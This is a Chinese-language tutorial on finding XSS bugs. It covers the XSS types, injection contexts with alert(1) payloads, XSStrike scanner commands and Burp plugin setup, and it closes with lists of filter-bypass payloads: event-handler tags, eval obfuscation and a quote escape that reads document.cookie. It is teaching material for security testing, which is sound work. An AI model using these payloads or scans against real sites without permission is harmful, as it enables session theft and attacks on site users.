漏洞挖掘之XSS
漏洞挖掘之XSS⸺初探
什么是XSS漏洞
概述
跨站脚本攻击(XSS),是最普遍的Web应⽤安全漏洞。这类漏洞能够使得攻击者嵌⼊恶意脚本代码到正常⽤⼾会访问到的⻚⾯中,当正常⽤⼾访问该⻚⾯时,则可导致嵌⼊的恶意脚本代码的执⾏,从而达到恶意攻击⽤⼾的⽬的。
XSS漏洞的分类及原理
反射型XSS
反射型xss攻击是⼀次性的,仅对当次的⻚⾯访问产⽣影响。反射型xss攻击要求⽤⼾访问⼀个被攻击者精⼼构造的链接,⽤⼾访问该链接时,被植⼊的攻击脚本被⽤⼾游览器执⾏,从而达到攻击⽬的。
存储型XSS
存储型xss,攻击者的数据被存储在服务器端,攻击⾏为将伴随着⽤⼾每次的访问⼀直存在。
一般会出现在留言板,发表帖子等地方出现该漏洞
DOM型XSS
不经过后端,DOM—based XSS漏洞是基于⽂档对象模型Document Objeet Model,DOM)的⼀种漏洞,dom - xss是通过url传⼊参数去控制触发的。
DOM:⽂档对象模型(Document Object Model,简称DOM),是W3C组织推荐的处理可扩展置标语⾔的标准编程接口。它是⼀种与平台和语⾔⽆关的应⽤程序接口(API),它可以动态地访问程序和脚本,更新其内容、结构和www⽂档的⻛格(⽬前,HTML和XML⽂档是通过说明部分定义的)。
盲攻击(盲打),对于不显示的嵌入XSS的地方(不知道它显示的地方,把payload做成字典去尝试),进行探测,如果存在,则可以在xss后台显示
漏洞挖掘之XSS⸺手工挖掘
可能出现XSS漏洞的场景
HTML节点
- ⽰例
<div></div>
<p></p>- payload
<script>alert(1);</script>
HTML属性
- ⽰例
<img src="#{image}" />
<input value="#{text}" />- payload
<img src="1" onerror="alert(1)" />
<input value="1" onclick="alert(1)" />
<img src="javascript:alert(1)" />
",',`
JS代码
- ⽰例
<script>
var data = "#{data}";
</script>
payload
hello";alert(1);"
富⽂本——富文本编辑器,留言板,反馈留言等,可能会触发xss
总结
其实XSS漏洞的挖掘说穿了就是找输入输出点,掰着手指头数,有哪些输入点,看一下输出到了哪里,去看一下输出的样子,如果有哪些字符被过滤或者转义了(实体化,让xss大部分攻击失效),再寻找替代就是了。这里随便找几个最近挖洞过程中的小例子,给大家稍微打开一下思路。
通过案例讲解手工挖掘流程
1.测试页面,输入测试sql注入报错的时候,当你输入1=2等字符后,会出现这样一个页面,记录下你的非法操作,但问题就在于,你把我的语句也输出来干啥,那么我们可以使用xss进行弹窗测试
2.搜索框
根据源代码,去构造弹窗的payload即可。
这里的话,意料之中的遇到了拦截。此时测试的思路呢,一般是先看一下单引号,双引号,尖括号有没有被过滤,一旦没有完全被堵死,就很有希望。再然后如果发现 script 被过滤的话,愿意的话可以去fuzz一下常见的标签,懒得麻烦的话,直接手工构造就可以上了。
3 .注册登录也可能出现xss漏洞,比如在显示欢迎你,用户名:**,或者邮箱号等地方,会输出这些信息
漏洞挖掘之XSS⸺⼯具挖掘
其他xss自动挖掘工具有:brutexss、xsser、xenotix等等
Xsstrike
⼯具:https://github.com/s0md3v/XSStrike
作者wiki:https://github.com/s0md3v/XSStrike/wiki/usage
关于⼯具代码的详细解读:https://www.bilibili.com/video/av66771017?from=search&seid=13397161838839222085
Usage(用法)
- GET⽅法进行测试
python3 xsstrike.py -u "http://example.com/search.php?q=query"
- 测试POST数据:
python3 xsstrike.py -u "http://example.com/search.php" --data "q=query"
python3 xsstrike.py -u "http://example.com/search.php" --data '{"q":"query"} --json'
- 测试URL路径:
python3 xsstrike.py -u "http://example.com/search/form/query" --path
- 从目标网页开始搜寻⽬标并进行测试(爬⾏)
python3 xsstrike.py -u "http://example.com/page.php" --crawl
您可以指定爬⾏的深度,默认为2
python3 xsstrike.py -u "http://example.com/page.php" --crawl -l 3
- 批量扫描
python3 xsstrike.py --seeds urls.txt
暴⼒破解
python3 xsstrike.py -u "http://example.com/page.php?q=query" -f /path/to/file.txt
- 查找隐藏的参数:
python3 xsstrike.py -u "http://example.com/page.php" --params
- XSS盲攻击:爬⾏中使用此参数可向每个html表单⾥⾯的每个变量插⼊xss代码
python3 xsstrike.py -u http://example.com/page.php?q=query --crawl --blind
- 模糊测试--fuzzer
该模糊器旨在测试过滤器和Web应⽤程序防⽕墙,可使用-d选项将延迟设置为1秒。
python3 xsstrike.py -u "http://example.com/search.php?q=query" --fuzzer
- 跳过DOM扫描
python3 xsstrike.py -u "http://example.com/search.php?q=query" --skip-dom
- 更新:
如果跟上--updata选项,XSStrike将检查更新。如果有更新的版本可⽤,XSStrike将下载更新并将其合并到当前⽬录中,而不会覆盖其他⽂件。
python3 xsstrike.py --update
Burp suite插件之xss Validator
- 下载Phantomjs,并配置环境变量
http://phantomjs.org/download.html - 把xss.js放到phantomjs.exe同级⽬录下
- 在burp插件商店中安装xss validator
- 开启监听
(在phantomjs.exe目录下cmd)phantomjs xss.js - 使用burp对捕获到的http请求进行xss测试
https://www.baidu.com/link?url=R0ldofq5LXgPhLhCQcE9bPy-JyVkPvL2atDoCuZtMNBg9pNfF0WAPxzvulcEu7_1shcBtYzmMDXSV9ygQz_w69uP1j5HXbjDgDUTLyson1W&wd=&eqid=8fddf0e80007ba67000000065fd4c5a2
AWVS爬⾍+Xray扫描
漏洞扫描篇会补充
漏洞挖掘之XSS⸺Bypass
限制标签使用
- Body标签
<body onpageshow=alert(1)>
- Style标签
<style onload=alert(1) />
- Marquee标签
<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee>
<marquee loop="1" onfinish=alert(1)>hack the planet</marquee>
<marquee onstart=alert(1)>hack the planet</marquee>
- Media标签
<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" />
<audio ondurationchange=alert(1) src="/media/hack-the-planet.mp3" />
<audio autoplay=true onended=alert(1) src="/media/hack-the-planet.mp3" />
<audio onloadeddata=alert(1) src="/media/hack-the-planet.mp3" />
<audio onloadedmetadata=alert(1) src="/media/hack-the-planet.mp3" />
<audio onloadstart=alert(1) src="/media/hack-the-planet.mp3" />
<audio onprogress=alert(1) src="/media/hack-the-planet.mp3" />
<audio onsuspend=alert(1) src="/media/hack-the-planet.mp3" />
<video oncanplay=alert(1) src="/media/hack-the-planet.mp4" />
<video ondurationchange=alert(1) src="/media/hack-the-planet.mp4" />
<video autoplay=true onended=alert(1) src="/media/hack-the-planet.mp4" />
<video onloadeddata=alert(1) src="/media/hack-the-planet.mp4" />
<video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" />
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
<video onprogress=alert(1) src="/media/hack-the-planet.mp4" />
<video onsuspend=alert(1) src="/media/hack-the-planet.mp4" />
限制动作
eval('~a~le~rt~~(~~1~~)~'.replace(/~/g, ''))
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
var x = eval;x('alert(1)')
编码
https://blog.csdn.net/qq_37133717/article/details/94651840
https://blog.csdn.net/Fly_hps/article/details/82944455
引号逃逸
场景:
<script>
var id="接收参数传进来的值";
</script>
Payload:
xss "%0aalert(document.cookie)%0a"